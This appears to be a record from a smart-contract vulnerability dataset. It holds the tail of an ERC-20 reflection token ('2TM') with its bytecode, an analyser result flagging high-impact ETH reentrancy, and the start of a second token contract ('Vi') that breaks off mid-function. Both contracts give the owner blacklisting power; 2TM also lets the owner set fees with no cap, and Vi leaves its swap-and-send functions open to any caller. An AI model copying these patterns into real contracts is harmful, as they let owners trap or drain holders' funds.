constant _symbol = "2TM"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 9; //Sell Fee uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 9; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _marketingAddress = payable(0x30cD4525Ba739daD88706Cd081c673992cD1Cc50); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 750000000000 * 10**9; //0.75% of total supply per txn uint256 public _maxWalletSize = 1500000000000 * 10**9; //1.50% of total supply uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; bots[address(0x00000000000000000000000000000000001)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd792841461052a578063c3c8cd801461055a578063dd62ed3e1461056f578063ea1644d5146105b557600080fd5b806398a5c3151461049a578063a2a957bb146104ba578063a9059cbb146104da578063bdd795ef146104fa57600080fd5b80638da5cb5b116100d15780638da5cb5b1461041a5780638f70ccf7146104385780638f9a55c01461045857806395d89b411461046e57600080fd5b8063715018a6146103cf57806374010ece146103e45780637d1db4a51461040457600080fd5b80632fd689e3116101645780636b9990531161013e5780636b9990531461035a5780636d8aa8f81461037a5780636fc3eaec1461039a57806370a08231146103af57600080fd5b80632fd689e314610308578063313ce5671461031e57806349bd5a5e1461033a57600080fd5b80631694505e116101a05780631694505e1461026957806318160ddd146102a157806323b872dd146102c85780632f9c4569146102e857600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023957600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec3660046118fb565b6105d5565b005b3480156101ff57600080fd5b5060408051808201909152600b81526a2a37902a34329026b7b7b760a91b60208201525b6040516102309190611a2d565b60405180910390f35b34801561024557600080fd5b506102596102543660046118cf565b610674565b6040519015158152602001610230565b34801561027557600080fd5b50601454610289906001600160a01b031681565b6040516001600160a01b039091168152602001610230565b3480156102ad57600080fd5b5069152d02c7e14af68000005b604051908152602001610230565b3480156102d457600080fd5b506102596102e3366004611859565b61068b565b3480156102f457600080fd5b506101f161030336600461189a565b6106f4565b34801561031457600080fd5b506102ba60185481565b34801561032a57600080fd5b5060405160098152602001610230565b34801561034657600080fd5b50601554610289906001600160a01b031681565b34801561036657600080fd5b506101f16103753660046117e6565b6107b8565b34801561038657600080fd5b506101f16103953660046119c7565b610803565b3480156103a657600080fd5b506101f161084b565b3480156103bb57600080fd5b506102ba6103ca3660046117e6565b610878565b3480156103db57600080fd5b506101f161089a565b3480156103f057600080fd5b506101f16103ff3660046119e2565b61090e565b34801561041057600080fd5b506102ba60165481565b34801561042657600080fd5b506000546001600160a01b0316610289565b34801561044457600080fd5b506101f16104533660046119c7565b61093d565b34801561046457600080fd5b506102ba60175481565b34801561047a57600080fd5b5060408051808201909152600381526232544d60e81b6020820152610223565b3480156104a657600080fd5b506101f16104b53660046119e2565b610985565b3480156104c657600080fd5b506101f16104d53660046119fb565b6109b4565b3480156104e657600080fd5b506102596104f53660046118cf565b6109f2565b34801561050657600080fd5b506102596105153660046117e6565b60116020526000908152604090205460ff1681565b34801561053657600080fd5b506102596105453660046117e6565b60106020526000908152604090205460ff1681565b34801561056657600080fd5b506101f16109ff565b34801561057b57600080fd5b506102ba61058a366004611820565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c157600080fd5b506101f16105d03660046119e2565b610a35565b6000546001600160a01b031633146106085760405162461bcd60e51b81526004016105ff90611a82565b60405180910390fd5b60005b81518110156106705760016010600084848151811061062c5761062c611bc9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066881611b98565b91505061060b565b5050565b6000610681338484610a64565b5060015b92915050565b6000610698848484610b88565b6106ea84336106e585604051806060016040528060288152602001611c0b602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061108b565b610a64565b5060019392505050565b6000546001600160a01b0316331461071e5760405162461bcd60e51b81526004016105ff90611a82565b6001600160a01b03821660009081526011602052604090205460ff161515811515141561078d5760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e00000000000000000060448201526064016105ff565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107e25760405162461bcd60e51b81526004016105ff90611a82565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461082d5760405162461bcd60e51b81526004016105ff90611a82565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461086b57600080fd5b47610875816110c5565b50565b6001600160a01b038116600090815260026020526040812054610685906110ff565b6000546001600160a01b031633146108c45760405162461bcd60e51b81526004016105ff90611a82565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109385760405162461bcd60e51b81526004016105ff90611a82565b601655565b6000546001600160a01b031633146109675760405162461bcd60e51b81526004016105ff90611a82565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109af5760405162461bcd60e51b81526004016105ff90611a82565b601855565b6000546001600160a01b031633146109de5760405162461bcd60e51b81526004016105ff90611a82565b600893909355600a91909155600955600b55565b6000610681338484610b88565b6013546001600160a01b0316336001600160a01b031614610a1f57600080fd5b6000610a2a30610878565b905061087581611183565b6000546001600160a01b03163314610a5f5760405162461bcd60e51b81526004016105ff90611a82565b601755565b6001600160a01b038316610ac65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ff565b6001600160a01b038216610b275760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ff565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bec5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ff565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ff565b60008111610cb05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ff565b6000546001600160a01b03848116911614801590610cdc57506000546001600160a01b03838116911614155b15610f7e57601554600160a01b900460ff16610d80576001600160a01b03831660009081526011602052604090205460ff16610d805760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ff565b601654811115610dd25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ff565b6001600160a01b03831660009081526010602052604090205460ff16158015610e1457506001600160a01b03821660009081526010602052604090205460ff16155b610e6c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ff565b6015546001600160a01b03838116911614610ef15760175481610e8e84610878565b610e989190611b28565b10610ef15760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ff565b6000610efc30610878565b601854601654919250821015908210610f155760165491505b808015610f2c5750601554600160a81b900460ff16155b8015610f4657506015546001600160a01b03868116911614155b8015610f5b5750601554600160b01b900460ff165b15610f7b57610f6982611183565b478015610f7957610f79476110c5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fc057506001600160a01b03831660009081526005602052604090205460ff165b80610ff257506015546001600160a01b03858116911614801590610ff257506015546001600160a01b03848116911614155b15610fff57506000611079565b6015546001600160a01b03858116911614801561102a57506014546001600160a01b03848116911614155b1561103c57600854600c55600954600d555b6015546001600160a01b03848116911614801561106757506014546001600160a01b03858116911614155b1561107957600a54600c55600b54600d555b6110858484848461130c565b50505050565b600081848411156110af5760405162461bcd60e51b81526004016105ff9190611a2d565b5060006110bc8486611b81565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610670573d6000803e3d6000fd5b60006006548211156111665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ff565b600061117061133a565b905061117c838261135d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111cb576111cb611bc9565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561121f57600080fd5b505afa158015611233573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112579190611803565b8160018151811061126a5761126a611bc9565b6001600160a01b0392831660209182029290920101526014546112909130911684610a64565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c9908590600090869030904290600401611ab7565b600060405180830381600087803b1580156112e357600080fd5b505af11580156112f7573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806113195761131961139f565b6113248484846113cd565b8061108557611085600e54600c55600f54600d55565b60008060006113476114c4565b9092509050611356828261135d565b9250505090565b600061117c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611508565b600c541580156113af5750600d54155b156113b657565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806113df87611536565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114119087611593565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461144090866115d5565b6001600160a01b03891660009081526002602052604090205561146281611634565b61146c848361167e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114b191815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af68000006114e1828261135d565b8210156114ff5750506006549269152d02c7e14af680000092509050565b90939092509050565b600081836115295760405162461bcd60e51b81526004016105ff9190611a2d565b5060006110bc8486611b40565b60008060008060008060008060006115538a600c54600d546116a2565b925092509250600061156361133a565b905060008060006115768e8787876116f7565b919e509c509a509598509396509194505050505091939550919395565b600061117c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061108b565b6000806115e28385611b28565b90508381101561117c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ff565b600061163e61133a565b9050600061164c8383611747565b3060009081526002602052604090205490915061166990826115d5565b30600090815260026020526040902055505050565b60065461168b9083611593565b60065560075461169b90826115d5565b6007555050565b60008080806116bc60646116b68989611747565b9061135d565b905060006116cf60646116b68a89611747565b905060006116e7826116e18b86611593565b90611593565b9992985090965090945050505050565b60008080806117068886611747565b905060006117148887611747565b905060006117228888611747565b90506000611734826116e18686611593565b939b939a50919850919650505050505050565b60008261175657506000610685565b60006117628385611b62565b90508261176f8583611b40565b1461117c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ff565b80356117d181611bf5565b919050565b803580151581146117d157600080fd5b6000602082840312156117f857600080fd5b813561117c81611bf5565b60006020828403121561181557600080fd5b815161117c81611bf5565b6000806040838503121561183357600080fd5b823561183e81611bf5565b9150602083013561184e81611bf5565b809150509250929050565b60008060006060848603121561186e57600080fd5b833561187981611bf5565b9250602084013561188981611bf5565b929592945050506040919091013590565b600080604083850312156118ad57600080fd5b82356118b881611bf5565b91506118c6602084016117d6565b90509250929050565b600080604083850312156118e257600080fd5b82356118ed81611bf5565b946020939093013593505050565b6000602080838503121561190e57600080fd5b823567ffffffffffffffff8082111561192657600080fd5b818501915085601f83011261193a57600080fd5b81358181111561194c5761194c611bdf565b8060051b604051601f19603f8301168101818110858211171561197157611971611bdf565b604052828152858101935084860182860187018a101561199057600080fd5b600095505b838610156119ba576119a6816117c6565b855260019590950194938601938601611995565b5098975050505050505050565b6000602082840312156119d957600080fd5b61117c826117d6565b6000602082840312156119f457600080fd5b5035919050565b60008060008060808587031215611a1157600080fd5b5050823594602084013594506040840135936060013592509050565b600060208083528351808285015260005b81811015611a5a57858101830151858201604001528201611a3e565b81811115611a6c576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b075784516001600160a01b031683529383019391830191600101611ae2565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b3b57611b3b611bb3565b500190565b600082611b5d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b7c57611b7c611bb3565b500290565b600082821015611b9357611b93611bb3565b500390565b6000600019821415611bac57611bac611bb3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461087557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f025048d4fb94e347eef4772104151ebc5d4797525b9e96e5179be1b9a9c2f3864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
2,527
0xedca96a6b0b6fa9b41586f74222d3e91f6436564
/** Vi, The Piltover Enforcer https://t.me/thepiltoverenforcer **/ /** // SPDX-License-Identifier: Unlicensed **/ pragma solidity ^0.8.6; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function approve(address to, uint value) external returns (bool); } contract Vi is Context, IERC20, Ownable { string private constant _name = unicode"The Piltover Enforcer"; string private constant _symbol = "Vi"; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping(address => uint256)) private _allowances; mapping (address => bool) private bots; mapping (address => uint) private cooldown; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; IUniswapV2Router02 private uniswapV2Router; address[] private _excluded; address private c; address private wallet1; address private uniswapV2Pair; address private WETH; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee; uint256 private _LiquidityFee; uint64 private buyCounter; uint8 private constant _decimals = 9; uint16 private maxTx; bool private tradingOpen; bool private inSwap; bool private swapEnabled; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable _wallet1) { c = address(this); wallet1 = _wallet1; _rOwned[c] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[c] = true; _isExcludedFromFee[wallet1] = true; excludeFromReward(owner()); excludeFromReward(c); excludeFromReward(wallet1); emit Transfer(address(0),c,_tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()] - amount); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require(rAmount <= _rTotal,"Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function nofees() private { _taxFee = 0; _LiquidityFee = 0; } function basefees() private { _taxFee = 0; _LiquidityFee = 12; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to]); basefees(); if (from != owner() && to != owner() && tradingOpen) { if (!inSwap) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && !inSwap) { if (buyCounter < 100) require(amount <= _tTotal * maxTx / 1000); buyCounter++; } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && !inSwap) { if (swapEnabled) { uint256 contractTokenBalance = balanceOf(c); if (contractTokenBalance > balanceOf(uniswapV2Pair) * 1 / 10000) { swapAndLiquify(contractTokenBalance); } } } if (!inSwap) { if (buyCounter == 5) maxTx = 30; //10% if (buyCounter == 10) { maxTx = 1000; //10% } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || inSwap) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 fifth = contractTokenBalance / 5; uint256 fourfifth = contractTokenBalance - fifth; swapTokensForEth(fourfifth); uint256 balance = c.balance / 5; sendETHToFee(balance*4); addLiquidity(fifth, balance); emit SwapAndLiquify(fourfifth, balance*4, fifth); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(c, address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( c, tokenAmount, 0, 0, owner(), block.timestamp ); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = c; path[1] = WETH; _approve(c, address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, c, block.timestamp); } function sendETHToFee(uint256 ETHamount) private { payable(wallet1).transfer(ETHamount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); WETH = uniswapV2Router.WETH(); _approve(c, address(uniswapV2Router), ~uint256(0)); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(c, WETH); uniswapV2Router.addLiquidityETH{value: c.balance}(c,balanceOf(c),0,0,owner(),block.timestamp); maxTx = 10; // 10% IERC20(uniswapV2Pair).approve(address(uniswapV2Router),~uint256(0)); tradingOpen = true; swapEnabled = true; } function manualswap() external { uint256 contractBalance = balanceOf(c); swapTokensForEth(contractBalance); } function manualsend() external { uint256 contractETHBalance = c.balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if (!takeFee) nofees(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender] - rAmount; _tOwned[recipient] = _tOwned[recipient] + tTransferAmount; _rOwned[recipient] = _rOwned[recipient] + rTransferAmount; _takeLiquidity(tLiquidity); 